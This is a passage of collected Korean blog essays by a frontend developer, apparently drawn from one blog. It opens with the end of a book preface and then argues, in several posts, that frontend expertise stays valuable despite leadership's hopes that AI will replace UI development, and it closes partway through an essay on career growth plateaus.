그 이후 공부를 시작하며 알게 된 건 단순한 사실 하나였습니다. 과거의 저는 자바스크립트 생태계의 절반도 모르고 있었다는 점입니다. 겉보기에는 서비스를 잘 만들고 배포할 수 있었지만, 왜 문제가 발생하는지, 그것을 더 나은 방식으로 해결하려면 어떻게 해야 하는지에 대한 '근본적인 시야'는 부족했습니다.

## 이 책은 그런 고민에서 시작됐습니다

『npm Deep Dive』는 단순한 사용법이나 팁을 소개하는 책이 아닙니다. 모듈 시스템, 패키지 관리 방식, 트랜스파일링, 폴리필, 오픈소스 제작 등, 프런트엔드 개발자로서 한 걸음 더 나아가기 위해 반드시 짚고 넘어가야 할 기초이자 본질을 담았습니다.

당장의 개발 업무에는 크게 필요하지 않을 수도 있습니다. 하지만 개발자로서 더 넓은 문제를 해결하고 싶다면, 반드시 넘어야 할 '벽'이기도 합니다. 이 책이 그 과정을 조금이라도 덜 힘들게 만들어주기를 바랍니다.

## 함께 만든 책입니다

혼자였다면 결코 이 책을 완성하지 못했을 것입니다. 가장 먼저, 공동 저자이자 제가 아는 가장 훌륭한 개발자이신 전유정 님 덕분에 깊이 있고 정제된 내용을 담을 수 있었습니다. 또한 위키북스 편집팀의 세심한 피드백 덕분에 책의 완성도를 높일 수 있었습니다. 부족한 점이 있다면 전적으로 제 책임입니다.

『npm Deep Dive』는 과거의 저처럼, 생태계에 대해 깊이 고민하고 싶은 프런트엔드 개발자들에게 보내는 작은 안내서입니다. 이 책이 여러분의 여정에 작지만 의미 있는 이정표가 되기를 바랍니다.

- 📘 자세히 보기: [출판사 위키북스 소개 페이지](https://wikibook.co.kr/npm-deep-dive/)
- 🛒 온라인 구매: [교보문고 바로가기](https://product.kyobobook.co.kr/detail/S000216669881)

---

이어서: [AI 시대에 나는 왜 책을 썼을까](/2025/05/why-i-wrote-a-book-in-the-age-of-ai)

---

Source: https://yceffort.kr/2025/05/frontend-truth-ai-misconceptions.md
Title: "AI가 다 해주잖아?"라는 환상: FE의 본질과 AI 시대의 현실
Description: AI가 UI 개발을 대체할 것이라는 리더십의 환상과 프론트엔드 기술에 대한 오해, 그리고 AI 시대에도 변하지 않을 프론트엔드의 본질적인 가치
Date: 2025-05-24
Tags: essay, frontend, ai, career

> - 다음은 한 개발자분께 받은 질문과 그에 대한 답변 메일을 블로그 형식으로 각색한 글입니다.
> - AI 가 작성하지 않은 글입니다 😄

## 들어가며

AI 만능론이 퍼지는 지금, 프론트엔드(FE) 개발의 가치를 폄하하는 목소리가 들려옵니다. "FE는 데이터만 보여주면 된다", "B2B는 더 그렇다", 심지어 "UI는 AI가 다 만든다"는 주장은, 솔직히 말해 10년 전에도 통하기 어려웠을 시대착오적인 발상입니다. 만약 AI와 Agent 가 만든 데이터만 보여줄 거라면, SQL 에디터나 JSON 에디터만 던져주면 그만이지 왜 프론트엔드가 필요할까요? B2B일수록 복잡한 데이터를 효과적으로 시각화하고, 얽힌 워크플로우를 관리하며, 안정성과 확장성을 확보하는 것이 FE의 핵심 역할입니다. 이조차 필요 없다면, 그건 서비스가 아니라 구글 드라이브 선에서 정리될 일이며 서비스로서 가치가 있을지 의심스럽습니다.

이러한 FE의 본질적인 복잡성을 간과한 채, "FE는 힙한 기술만 쫓는다"고 오해하는 시각도 있습니다. 하지만 이는 FE 개발 환경의 특성을 이해하면 쉽게 풀리는 오해입니다.

### FE는 왜 '힙'해 보이는가: '정글'에서의 생존기

FE가 '힙한 기술'만 쫓는 것처럼 보이는 이유는, FE가 처한 '정글' 같은 환경 때문입니다. (결코 백엔드를 비하하려는 의도는 아닙니다.) 백엔드가 개발자가 통제 가능한 서버라는 **온실**이라면, FE는 사용자의 온갖 기기, 네트워크, 브라우저 확장 프로그램 위에서 동작해야 하는 **정글**입니다. 이 혼돈 속에서 일관된 경험을 주기 위해 호환성, 성능, 개발 경험 측면에서 기술이 끊임없이 발전하는 것은 피할 수 없는 숙명이지, 유행 추종이 아닙니다.

여기에 백엔드와의 본질적인 관심사 차이도 한몫합니다. 백엔드는 주로 데이터 처리, 비즈니스 로직, 시스템 구조와 같은 서비스의 '뼈대'를 다룹니다. 이 뼈대는 사람의 골격처럼 한번 자리를 잡으면 자주 변하지 않으며, 변화하더라도 확장성이나 안정성 같은 근본적인 차원에서 비교적 느리고 안정적으로 일어납니다.

하지만 프론트엔드는 사용자와 직접 맞닿는 **얼굴이자 피부**입니다. 디자인 트렌드와 사용자의 기대치는 시시각각 변하며, 이에 맞춰 최상의 경험을 제공해야 합니다. 이러한 요구에 부응하기 위해 자바스크립트 생태계는 수많은 프레임워크와 라이브러리가 경쟁하며 폭발적으로 진화해왔고, 이 역동적인 모습이 '힙한 것'만 쫓는다는 오해를 불러일으키는 것입니다. 이는 결국 프론트엔드 업무가 가진 본질적인 변화 대응의 숙명입니다.

### AI는 '신'이 아니다: 위험한 맹신과 현실

"100% AI가 코드를 작성할 것"이라는 주장은 **AI의 한계를 모르는 순진하고 위험한 생각**입니다. 실제 산업 현장의 선도 기업들조차 AI를 '만능'이 아닌 '강력한 보조 도구'로 활용하고 있으며, 그 한계 또한 명확히 인지하고 있습니다.

- **마이크로소프트:** 코드의 약 30%를 AI가 작성한다고 밝히며, 인간 개발자와의 **'협업'**을 강조합니다. ([출처: IT조선](https://it.chosun.com/news/articleView.html?idxno=2023092139723))
- **Shopify CEO (Tobi Lütke):** AI를 **'도구'**로서 잘 사용하기 위해 학습해야 한다고 말합니다. ([출처: X(Twitter)](https://x.com/tobi/status/1909251946235437514))
- **카카오:** 바이브 코딩은 아직 **프로덕션 개발 환경에 적용하기 어렵다**고 분석합니다. ([출처: 카카오테크](https://tech.kakao.com/posts/698))

(만약 100% 코드를 AI가 다 작성하고 관리하는 순간이 온다면, 리더고 회사고 뭐고 다 필요 없어지는 시점일 겁니다.)

이처럼 AI는 예외 처리, 보안, 성능, UX까지 완벽히 책임지는 '개발자 대체재'가 아닙니다. AI가 생성한 코드를 **이해하고 검증할 개발자 없이 100% 의존하는 것은, 유지보수 불가능한 기술 부채 덩어리를 쌓는 것**과 같습니다. AI 활용 능력을 단순히 '속도'로만 측정하고 압박하는 것은, 개발의 본질(문제 해결, 지속 가능성, 품질)을 무시하고 보여주기식 성과에 집착하는 근시안적인 태도일 뿐입니다.

### 리더십의 관점이 곧 팀의 구조를 만든다

프론트엔드 개발의 가치를 축소하거나, AI를 맹신해 전략 없는 도입을 밀어붙이는 문화는, 단순한 커뮤니케이션 문제나 의견 차이로 치부하기 어렵습니다. 이는 명백히 **조직 내 리더십의 기술 관점과 우선순위 설정 방식에 기인한 구조적 문제**입니다.

예컨대, 명확한 비전 없이 "Agent 안 쓰면 도태된다"는 식으로 **기술 트렌드에 대한 불안감을 동력 삼아 공포에 호소하는 방식**은, 실질적인 전략 없이 방향 없는 질주를 강요하는 것과 다르지 않습니다. 이는 결국 **보여주기식 AI 도입과 팀 내 혼란, 기술적 정합성 없는 의사결정**으로 이어지며, 실질적인 혁신과는 거리가 멀어지게 됩니다.

비슷한 문제는 코드 리뷰 문화에서도 나타납니다. 코드 리뷰를 단지 '가장 잘하는 사람이 빠르게 처리하면 되는 일'로 인식하는 관점은, 코드 품질 향상이나 지식 공유, 예외 상황에 대한 방어 설계 등 **팀 전체의 기술 역량 강화라는 본질적 목적을 완전히 외면**하는 것입니다. 이런 사고방식은 결과적으로 특정인에게 과도한 책임을 몰아주는 **히어로 코딩 문화**를 고착시키며, **지식의 사일로화와 팀 역량의 편차를 심화시킵니다.**

여기에 더해, "AI가 코드 쓰니까 기존 코드 품질이 떨어져도 괜찮다"는 식의 접근은, 소프트웨어 공학의 기본 원칙을 무시한 발상입니다. 코드를 '다시 만들면 되지' 수준으로 여기는 태도는, 결국 유지보수성 없는 일회성 자산을 양산하게 만들고, 이는 **기술 부채와 품질 저하, 우수 인력의 이탈**이라는 장기적인 리스크로 되돌아옵니다.

이 글에서 말하는 '리더십의 문제'는 단순히 특정 인물의 태도나 성격이 아닙니다. **기술을 어떻게 보고, 무엇을 우선순위로 삼으며, 어떤 기준으로 의사결정을 하는가**에 대한 관점의 문제입니다. 그 관점이 잘못되어 있다면, 시스템이나 팀이 아무리 유능해도 왜곡된 방향으로 흘러갈 수밖에 없습니다.

### ✅ AI 시대, 프론트엔드 개발자의 역할과 재정의된 전문성

AI는 분명히 많은 영역을 자동화하고 있습니다. **디자인을 코드로 옮기거나, 단순한 CRUD 기반의 UI 구성처럼 반복 가능한 작업**은 점점 더 AI의 손에 넘어가고 있습니다. 이로 인해 **"손이 빠른 프론트엔드 개발자"의 역할은 축소될 가능성이 큽니다.**

그러나 이것은 프론트엔드 개발의 종말이 아닙니다. **오히려 역할의 재정의와 진화가 시작된 것**입니다. 앞으로의 프론트엔드 개발자는 다음과 같은 영역에서 인간 중심의 고유한 역량을 요구받게 될 것입니다:

- 문제 정의 및 추상화 능력: 단순 구현이 아닌, **무엇을 만들지 이전에 왜 만들어야 하는지를 정의하고**, 요구사항을 추상화할 수 있는 역량. AI는 목표를 해석하지 못합니다.
- 아키텍처 및 시스템 설계 능력: AI가 생성한 코드 조각들을 단순히 조립하는 수준을 넘어, **확장 가능하고 유지보수 가능한 구조로 통합하는 설계 능력**.
- 사용자 경험과 성능 최적화에 대한 민감도: 프레임 단위의 렌더링 최적화, 인터랙션 지연 개선, 네트워크 환경을 고려한 로딩 전략 설계 등 **AI가 자동화하기 어려운 미세 조정과 사용자 중심 판단력**.
- AI와 협업능력: AI의 응답을 단순히 수용하는 것이 아니라, **AI에게 명확한 문맥을 제공하고 제약을 설정하며 원하는 결과를 이끌어내는 능동적 협업 설계자**.

이러한 역량을 갖춘 개발자는 더 이상 "코드 작성자"가 아니라, **도메인을 설계하고 시스템을 조율하며 기술을 통해 비즈니스 가치를 실현하는 기술 전략가**로 자리 잡을 것입니다. AI는 강력한 도구이지만, 그 도구를 언제, 어떻게, 왜 써야 하는지는 결국 사람이 결정합니다.

**따라서 AI 활용 능력만으로는 충분하지 않습니다.** 탄탄한 프론트엔드 전문성 위에, AI를 파트너로 활용할 수 있는 **이성적 판단력과 설계 사고**가 더해질 때 비로소 경쟁력을 갖추게 됩니다.

### AI를 부정하는 게 아니라, 제대로 다루자는 것

이 글에서 강조하고자 했던 핵심은 **AI를 거부하거나 무시하자는 것**이 아닙니다. 오히려 지금 우리는 AI를 "어떻게 활용할 것인가"를 진지하게 고민해야 하는 전환점에 서 있습니다.

AI는 이미 많은 생산성 향상을 이끌었고, 단순 작업이나 반복적인 구현은 AI가 더 빠르고 정확하게 수행할 수 있습니다. 하지만 그렇기 때문에 더더욱, **AI를 도구로 쓸 사람의 안목과 판단력, 설계력은 이전보다 훨씬 중요해졌습니다.**

문제는 AI 그 자체가 아닙니다. 전략 없이 AI를 맹신하거나, AI를 만능 해결사처럼 과대평가하는 태도가 문제입니다. 그로 인해

- 코드의 목적이나 맥락을 고려하지 않고 바로 적용되는 AI 출력은 오히려 유지보수를 어렵게 만들고,
- 문제의 본질을 이해하지 못한 채 도입한 AI 기능은 사용자 경험을 해칠 수 있으며,
- AI가 생성한 코드나 결과물을 비판 없이 수용하는 문화는 기술 부채를 구조화

와 같은 문제가 발생할 것입니다.

**AI는 강력한 도구이지만, 도구는 목적이 있어야 의미가 있습니다.** 진짜 중요한 건 AI를 어디에, 왜, 어떤 방식으로 써야 하는지를 판단할 수 있는 사람입니다. 그 판단력을 가진 개발자가 앞으로 더 주도적인 역할을 하게 될 것입니다.

이 글은 AI의 시대에 어떻게 살아남을지를 말하는 글이 아닙니다. AI가 바꿔놓을 개발 환경에서 무엇이 더 중요해질지를 말하는 글입니다.

## 마치며

AI로 인해 변화하는 환경 속에서 때로는 좌절감을 느끼고, 자신의 역할과 가치에 대해 회의감이 드는 것은 어쩌면 당연한 일입니다. 기술 변화의 속도가 빠르고, 그에 대한 이해도가 조직 내에서 고르지 않을 때, 이러한 혼란은 더욱 커지기 마련입니다.

하지만 중요한 것은, **리더십의 오해나 조직의 단기적인 방향성이 프론트엔드 개발의 본질적인 가치나 개발자 개개인의 역량을 전부 대변하지는 않는다는 사실**입니다. AI는 도구이며, 그 도구를 제대로 이해하고, 비판적으로 활용하며, 사용자에게 진정한 가치를 전달하는 것은 결국 깊이 있는 지식과 경험을 갖춘 개발자의 몫입니다. "AI가 다 해주잖아?"라는 질문은, 오히려 "AI를 어떻게 활용해서 더 나은 가치를 만들 것인가?"라는 질문으로 바뀌어야 합니다.

따라서 우리는 'AI가 다 해줄 것'이라는 환상이나, FE의 가치를 폄하하는 시각에 위축될 필요가 없습니다. **기본기를 더욱 탄탄히 다지고, 문제를 설계하고, AI를 도구로 삼아 복잡한 상황을 해결할 수 있는 개발자로서의 역량을 증명**해 나가야 합니다.

만약 현재 몸담은 조직에서 이러한 가치를 인정받거나 건강한 논의를 하기 어렵다고 느껴진다면, 그것이 개발자로서의 능력 부족을 의미하는 것은 결코 아닙니다. 때로는 환경 자체가 성장을 가로막거나 잘못된 방향을 강요할 수도 있습니다. 스스로의 가치를 믿고, 꾸준히 학습하며, 때로는 더 나은 환경을 찾아 나서는 용기도 필요합니다. 기술은 계속 변하지만, 사용자와 기술을 잇는 인터페이스를 만들고, 그 경험을 책임지는 프론트엔드 개발자의 중요성은 결코 사라지지 않을 것입니다.

---

Source: https://yceffort.kr/2025/05/frontend-challenges-ai-leadership.md
Title: 프론트엔드 개발 환경의 변화와 과제: AI 도입과 리더십
Description: AI 도입과 리더십의 기대가 맞물려 변화하는 프론트엔드 개발 환경의 주요 과제들을 진단하고, 개발자들이 이에 현실적으로 대응하며 역할을 정립해 나갈 방향을 모색합니다.
Date: 2025-05-24
Tags: essay, frontend, ai, career

> - 다음은 한 개발자분께 받은 질문과 그에 대한 답변 메일을 블로그 형식으로 각색한 글입니다.
> - AI 가 작성하지 않은 글입니다 😄

### 들어가며

최근 IT 환경은 AI 기술의 급격한 발전과 함께 빠르게 변화하고 있습니다. 이러한 변화는 프론트엔드 개발 영역에도 새로운 가능성과 동시에 적지 않은 도전 과제를 안겨주고 있습니다. 특히 AI 도입에 대한 리더십의 기대와 현장 개발자들의 현실적인 고민 사이에서 발생하는 간극은 많은 조직에서 중요한 이슈로 떠오르고 있습니다. 이 글에서는 이러한 변화 속에서 프론트엔드 개발 환경이 직면한 주요 과제들을 진단하고, AI 도입과 리더십의 역할에 대해 조금 생각해보았습니다.

### #1. 조직 변화와 '데이터 기반 개선'의 지속성 문제

데이터 기반 의사결정과 성장을 목표로 하는 '그로스(Growth)' 활동은 많은 기업에서 중요하게 다루어집니다. 하지만 비즈니스 방향 전환이나 조직 개편 등의 이유로 전담 팀이 해체되거나 축소되는 상황이 발생하기도 합니다. 이러한 조직적 변화는 기존에 진행되던 데이터 기반 개선 활동의 동력을 약화시키고, 구성원들에게 방향성에 대한 불확실성을 안겨줄 수 있습니다.

이런 상황에서도 프론트엔드 개발자는 사용자 경험과 직결되는 성능 지표 등을 주도적으로 분석하고 개선점을 찾아 나갈 수 있습니다. 예를 들어, 구글 애널리틱스(GA4)와 같은 도구를 활용하면 Core Web Vitals와 같은 핵심 성능 지표를 측정하고, 사용자 행동과 비즈니스 KPI 간의 연관성을 파악할 수 있습니다. [GA4를 활용한 성능 측정 참고 링크](https://web.dev/articles/vitals-ga4?hl=ko)

공식적인 팀 지원이 없더라도, 이러한 **바텀업(Bottom-up) 방식의 데이터 분석과 개선 제안**은 중요합니다. 이는 특정 지표의 문제를 객관적으로 알리고, 개선 활동의 필요성을 설득하는 근거가 될 수 있습니다. 이러한 활동은 설령 조직 내에서 즉각적인 큰 반향을 얻지 못하더라도, 프론트엔드 개발자로서 서비스 품질과 비즈니스 성과에 기여할 수 있는 중요한 경험이자 역량이 됩니다.

### #2. AI와 UI 개발: 리더십의 기대와 현실의 간극

AI 기술의 발전은 UI 개발 방식에도 변화를 예고하고 있습니다. 일부에서는 'AI가 UI 개발을 상당 부분 대체할 것'이라는 기대 섞인 전망을 내놓기도 합니다. 이러한 리더십의 기대는 프론트엔드 개발자들에게 역할에 대한 고민을 안겨주기도 합니다.

하지만 현재 AI 기술의 수준을 현실적으로 바라볼 필요가 있습니다. 현재 AI는 디자인 시스템이나 잘 정의된 UI 구성 요소 없이는 완성도 높은 화면을 일관되게 생성하기 어렵습니다. 또한, AI가 시각적인 요소를 만들어낼 수는 있더라도, **'무엇을, 어떻게 보여줄 것인가'에 대한 근본적인 설계, 사용자 경험(UX)에 대한 깊은 고민, 복잡한 상호작용(Interaction) 정의** 등은 여전히 고도의 인간 지능과 경험이 필요한 영역입니다.

따라서 AI가 UI를 만드는 시대가 오더라도, 그 기준이 될 **설계 원칙, 인터랙션 정의, 컴포넌트 라이브러리 구축 및 관리** 등은 프론트엔드 개발자의 중요한 역할로 남을 가능성이 큽니다. 리더십과의 소통을 통해 이러한 현실적인 측면과 프론트엔드 개발의 본질적인 가치를 명확히 전달하는 것이 중요합니다. 과거의 팀 역량 강화 시도(스터디, 코드리뷰 문화 개선 등)가 현재의 시각과 맞지 않다고 해서 그 가치가 사라지는 것은 아니며, 이는 팀의 기술적 성숙도를 높이는 올바른 과정이었습니다.

### #3. 불분명한 AI 전략과 프론트엔드의 대응

리더십 차원에서 구체적인 비전이나 실행 계획 없이 'AI 역량 강화'나 'AI 우선 도입'과 같은 거대 담론을 강조하는 경우가 있습니다. 이러한 불분명한 방향성은 현업 개발자들에게 혼란을 주고, "UI는 AI가 만들 테니 FE는 AI 활용 능력이나 키워라"는 식의 단순화된 메시지로 이어질 위험이 있습니다.

이는 프론트엔드 기술의 본질과 사용자 경험의 중요성을 간과한 접근일 수 있습니다. AI 시대를 준비하는 것은 중요하지만, 그것이 프론트엔드 개발의 근본적인 역량(견고한 아키텍처, 효율적인 렌더링, 뛰어난 UX 구현 등)을 대체하는 것은 아닙니다.

이러한 상황에서 프론트엔드 개발팀은 보다 **전략적인 접근**을 취할 수 있습니다. 예를 들어, 리더십이 'AI'나 '속도'를 강조한다면, **"AI가 효율적으로 UI를 생성하고, 프로덕트를 빠르고 일관되게 구축하기 위한 핵심 기반으로서 잘 정립된 '프론트엔드 인프라(디자인 시스템 포함)'를 구축하겠다"**는 논리로 접근하는 것입니다.

이는 다음과 같은 이점을 가질 수 있습니다.

1. **전략적 명분 확보:** 상위 목표(AI, 속도)에 부합하면서도, FE의 본질적인 역할을 수행할 명분을 얻습니다. AI가 UI를 잘 만들려면 결국 잘 만들어진 부품과 설계도가 필요하다는 점을 강조합니다.
2. **핵심 역량 강화:** 견고한 컴포넌트 아키텍처 설계, 빌드/배포 자동화, 접근성, 테스트 등 깊이 있는 프론트엔드 역량을 강화하는 기회가 됩니다.

물론 이러한 작업은 상당한 리소스와 노력이 필요하며, 조직 내 공감대 형성이 선행되어야 합니다. 하지만 불분명한 지시를 따르기보다, **명확한 기술적 목표를 설정하고 그 필요성을 설득하는 것**이 장기적으로 팀과 개인 모두에게 더 유익할 수 있습니다.

### 맺으며: 변화 속에서의 역할 정립

기술 환경은 계속해서 변화할 것이며, 그 과정에서 조직 내 역할과 기대치에 대한 고민은 계속될 것입니다. 중요한 것은 이러한 변화 속에서 프론트엔드 개발의 핵심 가치를 이해하고, 기술적 변화를 주도적으로 학습하며, 조직의 목표와 개인의 성장을 조화시킬 수 있는 전략을 모색하는 것입니다.

현재 직면한 과제들이 때로는 어렵게 느껴질 수 있지만, 이는 많은 개발자들이 함께 고민하는 문제입니다. 변화의 시기일수록, 기술의 본질을 이해하고 사용자와 시스템을 잇는 '접점'을 설계하고 구현하는 프론트엔드 개발자의 역할은 더욱 중요해질 수 있습니다. 스스로의 역량과 경험을 믿고, 꾸준히 학습하며 변화에 대응해 나가는 것이 중요합니다.

---

Source: https://yceffort.kr/2025/05/answering-frontend-relevance.md
Title: AI 시대 "프론트엔드, 정말 중요할까?" 라는 질문에 답합니다. (성능, AI, UI/UX, 그리고 미래)
Description: AI와 B2B 환경에서도 프론트엔드는 비즈니스 가치와 직결되는 사용자 경험의 핵심이며, 그 중요성과 역할은 변하지 않기에 끊임없이 가치를 증명하고 발전해야 합니다.
Date: 2025-05-24
Tags: essay, frontend, career

> - 다음은 한 개발자분께 받은 질문과 그에 대한 답변 메일을 블로그 형식으로 각색한 글입니다.
> - AI 가 작성하지 않은 글입니다 😄

### 들어가며

최근 기술의 발전 속도는 눈부십니다. 특히 AI의 급부상과 B2B 솔루션의 고도화는 개발 환경에 많은 변화를 가져오고 있습니다. 이런 흐름 속에서 프론트엔드 개발의 미래와 가치에 대한 깊은 고민이 담긴 질문을 받게 되었습니다. 많은 분들이 비슷한 생각을 하실 것 같아, 당시 나누었던 생각을 바탕으로 이 글을 공유합니다.

### #1. 프론트엔드 성능, 과연 백엔드만큼의 임팩트가 있을까?

"프론트엔드의 성능과 관련된 경험과 어빌리티가 모든 구성원에게 필요할까요? 백엔드만큼의 임팩트가 나오지 않는다고 생각될 때가 있습니다."

프론트엔드의 가치가 때로는 백엔드만큼 중요하게 여겨지지 않는 경향은 업계에서 종종 마주하는 현실입니다. 이는 아마도 백엔드에 비해 상대적으로 짧은 역사나, 기술 리더십의 배경 차이 등 여러 요인에서 비롯될 수 있습니다.

하지만 중요한 것은 **프론트엔드 성능이 비즈니스 목표 달성에 얼마나, 어떻게 기여하는가?**를 명확히 이해하고 증명하는 것입니다. 프론트엔드 성능은 단순히 '빠른 화면'을 넘어, 비즈니스의 성공과 직결되는 경우가 많습니다.

혹시 서비스의 핵심 지표(예: Core Web Vitals - LCP, FID, CLS 등)를 측정하고 계신가요? 이러한 지표들이 실제 비즈니스 KPI(핵심 성과 지표)에 미치는 영향을 수치로 보여줄 수 있다면, 프론트엔드 성능의 중요성을 명확하게 드러낼 수 있습니다.

- **사용자 이탈률 감소:** 페이지 로딩 속도 개선 후 이탈률 변화
- **전환율 상승:** LCP 개선 후 구매/가입 전환율 변화
- **고객 만족도 및 세션 시간 증가:** CLS 개선 후 사용자 만족도 설문 결과 또는 평균 세션 시간 변화
- **SEO 순위 상승:** Core Web Vitals 점수 개선 후 검색 결과 노출 순위 변화

예를 들어, **페이지 로드 시간이 1초 단축될 때마다 전환율이 X% 상승했다** 또는 **LCP 개선 후 이탈률이 Y% 감소했다**와 같은 데이터는 프론트엔드 성능의 비즈니스 임팩트를 객관적으로 보여줍니다.

백엔드에서 아무리 빠른 응답 속도를 제공하더라도, 프론트엔드에서의 렌더링 지연, 무거운 리소스 로딩, 비효율적인 스크립트 실행은 사용자에게 직접적인 병목 지점으로 작용합니다. 이는 전체 서비스 경험의 질을 떨어뜨리고, 결국 백엔드의 우수한 성능마저 무색하게 만들 수 있습니다. **사용자는 결국 프론트엔드를 통해 서비스를 경험하기 때문입니다.**

특히 서비스가 글로벌하게 제공된다면, 다양한 네트워크와 디바이스 환경으로 인해 프론트엔드 최적화 수준에 따른 성능 격차는 더욱 두드러지게 나타납니다.

따라서, 사용자 경험과 비즈니스 성과에 직접적으로 연결되는 프론트엔드 성능 문제를 개선하고, 이를 해결할 역량의 중요성을 **구체적인 데이터를 바탕으로 인식하고 공유하는 것**은 매우 중요합니다.

### #2. B2B와 Agent 시대, '화면 개발'은 정말 줄어들까?

> "B2B 프로젝트와 Agent 중심 프로덕트가 많아지면, 앞으로 화면 개발의 필요성이 줄어들 것이라 생각됩니다."

B2B나 Agent 중심 환경에서 화면 개발의 필요성이 줄어들 것이라는 시각도 있지만, 다른 관점에서 바라볼 필요가 있습니다. Agent를 메인으로 하는 프로덕트라 할지라도, 사용자가 그 Agent를 효과적으로 활용하기 위해서는 결국 어떤 형태로든 **'화면', 즉 사용자 인터페이스(UI)가 필수적**입니다.

- **제어:** Agent의 복잡한 설정을 손쉽게 조작하는 화면
- **모니터링:** 실시간으로 동작 로그를 확인하는 대시보드
- **분석 및 인사이트:** 수집/분석된 데이터를 이해하기 쉽게 시각화하는 UI

이러한 요소들은 단순한 부가 기능이 아니라, **프론트엔드 개발의 핵심 영역**입니다.

B2B 환경이라 할지라도, 정보를 사용자가 얼마나 효율적으로 인지하고, 정확하게 해석하며, 다음 행동으로 빠르게 이어지게 만드느냐는 **잘 설계된 UI/UX와 안정적인 프론트엔드 구현**에 달려있습니다. 오히려 B2B 환경에서는 중요한 의사결정이나 복잡한 작업이 이루어지는 경우가 많아, **직관적이고 오류 없는 인터페이스의 중요성**이 더욱 커질 수 있습니다.

최근 주목받는 구글의 AI 모델이나 OpenAI의 ChatGPT가 **웹 인터페이스**를 통해 제공되는 것을 보면, Agent나 AI가 중심이 되더라도 사용자 접점으로서 웹의 중요성은 쉽게 사라지지 않을 것입니다.

인터페이스의 형태는 변하겠지만, 인간이 기술과 상호작용하기 위한 '화면'의 필요성 자체가 줄어든다고 단정하기는 어렵습니다. 오히려 해당 분야에 **특화되고 고도화된 인터페이스 개발 수요**가 늘어날 가능성도 충분합니다.

### #3. 프론트엔드의 미래: 인터페이스를 넘어 '툴' 개발로 변화할까?

> "앞으로 프론트엔드는 Interface 개발이 아니라, Agent를 이용한 비즈니스 운영 툴 개발(통신 결과물을 보여주는) 방향이 될 것이라 생각됩니다."

'서버와 Agent 간의 통신 결과물을 보여주는 툴' 역시 **본질적으로는 사용자 인터페이스(UI) 개발의 한 형태**입니다.

'결과물을 보여준다'는 것은 단순히 데이터를 나열하는 것을 넘어, 복잡한 정보를 사용자가 **명확하게 인지하고, 의미를 이해하며, 합리적인 판단**을 내릴 수 있도록 시각적으로 구성하고 상호작용을 설계하는 모든 과정을 포함합니다. 수많은 Agent 상태를 보여주는 **대시보드**, 이상 징후를 감지하는 **시각화 도구**, Agent를 제어하는 **제어판** 등은 모두 정교한 인터페이스 설계를 필요로 하는 고도의 프론트엔드 개발 영역입니다.

기술이 아무리 발전해도, 그 가치를 최종적으로 활용하는 주체는 결국 **사람**입니다. 따라서 사용자에게 정보를 효과적으로 전달하고 원활한 상호작용을 가능하게 하는 인터페이스는 여전히 중요하며, **웹 기반 인터페이스**는 그중에서도 가장 보편적이고 강력한 솔루션 중 하나입니다.

프론트엔드 개발의 '흐름'이 전통적인 웹사이트 구축에서 데이터 중심적인 툴 개발로 확장될 수는 있습니다. 하지만 그렇다고 해서 **사용자를 위한 인터페이스를 설계하고 구현하는 프론트엔드의 근본적인 가치나 중요성**이 줄어드는 것은 아닙니다. 오히려 데이터의 복잡성이 증가함에 따라, **더욱 전문화된 프론트엔드 역량**이 요구될 수 있습니다.

### 마치며: 변화 속에서, 프론트엔드 개발자의 자세

물론, 이 글의 내용과 다른 생각을 가질 수도 있습니다. 각자의 경험과 역할, 바라보는 방향이 다르기 때문에 이는 자연스러운 일입니다.

중요한 것은, 이러한 생각의 차이나 빠른 기술 변화 속에서 프론트엔드 개발자로서의 역할과 가치를 스스로 낮게 평가하지 않는 것입니다. **기술의 중심이 무엇이든, 결국 사용자와의 접점을 설계하고 구현하는 일은 계속해서 중요한 영역으로 남을 것**이라고 믿습니다.

지금의 환경을 최대한 활용해 많은 것을 시도하고 배우는 것이 결국 더 큰 성장으로 이어진다고 생각합니다. 현재 맡은 역할을 충실히 하면서, 변화하는 시대에 필요한 역량을 꾸준히 익혀나가는 과정 자체가 미래를 준비하는 중요한 밑거름이 될 것입니다. 우리가 쌓아온 경험과 역량은 결코 작지 않으며, 앞으로도 그 중요성은 변하지 않을 것입니다.

---

Source: https://yceffort.kr/2025/05/breaking-growth-plateaus-in-frontend-teams.md
Title: 프론트엔드 개발자, 3년차의 벽을 넘어: 성장의 악순환을 끊고 목표와 성취감을 찾는 법
Description: 프론트엔드 개발자가 성장 정체를 극복하고 AI 시대에도 성취감을 얻으려면, 단순 업무를 넘어 깊이 있는 기술적 도전과 끊임없는 학습을 추구하는 주도적인 성장 문화를 만들어가야 합니다.
Date: 2025-05-24
Tags: essay, frontend, career

> - 다음은 한 개발자분께 받은 질문과 그에 대한 답변 메일을 블로그 형식으로 각색한 글입니다.
> - AI 가 작성하지 않은 글입니다 😄

## 프론트엔드 개발자, 3년차의 벽을 넘어: 성장의 악순환을 끊고 목표와 성취감을 찾는 법

10년차 프론트엔드 개발자로 여러 회사를 거치며, 저는 많은 동료들이 비슷한 성장과 정체의 사이클을 경험하는 것을 목격했습니다. 마치 약속이라도 한 듯, 2~3년 주기로 반복되는 이 패턴은 다음과 같습니다.

1. **학습과 적응:** 새로운 회사에 입사하여 업무와 기술 스택을 익힙니다.
2. **숙련과 자신감:** 요청받은 크고 작은 업무를 능숙하게 처리하며 자신감이 붙습니다.
3. **정체와 회의감:** 반복되는 업무에 지루함이나 회의감을 느끼기 시작합니다.
4. **탐색과 이직:** 새로운 성장 기회를 찾아 이직하거나 다른 업무를 모색합니다.

저 역시 이 과정을 수없이 반복하며 방황했습니다. 그리고 마침내 깨달았습니다. 이 악순환의 고리는 **프론트엔드 개발자로서 이 정도면 충분하다, 다 해봤다**는 착각에서 비롯된다는 것을요.

### '잘하는 개발자'라는 착각의 함정

과거의 저는 어떤 요청이든 쉽게 처리할 수 있었고, 업무 자체가 크게 복잡하지 않다고 느꼈습니다. (솔직히 말해, 많은 업무가 CRUD의 범주를 크게 벗어나지 않기도 합니다.) 이런 생각은 **'회사 업무를 기한 내에 잘 처리하는 것 = 훌륭한 프론트엔드 개발자'**라는 오해에서 시작되었습니다.

저에게 좋은 평가를 주셨던 상사나 기획자분들은 프론트엔드 개발 전문가가 아니셨습니다. 그분들은 촉박한 시간과 제한된 리소스 안에서 결과물을 만들어냈다는 사실 자체를 높이 평가하셨죠. 코드의 내부적인 완성도, 장기적인 유지보수성, 실제 사용자 경험의 질적 수준까지 깊이 있게 판단하기는 어려우셨을 겁니다.

